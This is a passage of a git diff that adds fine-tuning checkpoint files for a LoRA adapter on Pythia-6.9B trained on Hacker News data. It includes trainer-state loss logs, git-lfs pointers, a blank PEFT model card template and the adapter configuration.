"eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 4.286259651184082, + "learning_rate": 6.51851851851852e-06, + "loss": 1.589, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 3.055720806121826, + "eval_runtime": 43.803, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 620 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.015936463142912e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..8141afa6267b7cb340c127b3061f58fe2734a858 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dd24adf0dbec55cfdbe163a5fe434d2e3cf2facc1cca13730cb10a69bb532463 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..35f6388005230931fc0a0389fd788fcd24ca5a54 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bd57f889357650b7ee356af3382bb0ee005ebf5b759496be06e085c60300d840 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..96d7a3f6be074e46014211fae837a521e5c5140c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dd6c4f62bed5401eddcf930d960632a48c624bea715ca64cedd7d04db198b4a0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..31b434c7d46bacc0a45ac73d9e6264e373e131cd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9d8d4a20c36091528ac87a7edc5845454d614d78ad71a59c7a4ae563b2fe291f +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..1a54d8060223ced048b1c81735845a423316f6c8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/trainer_state.json @@ -0,0 +1,978 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.4, + "eval_steps": 10, + "global_step": 630, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 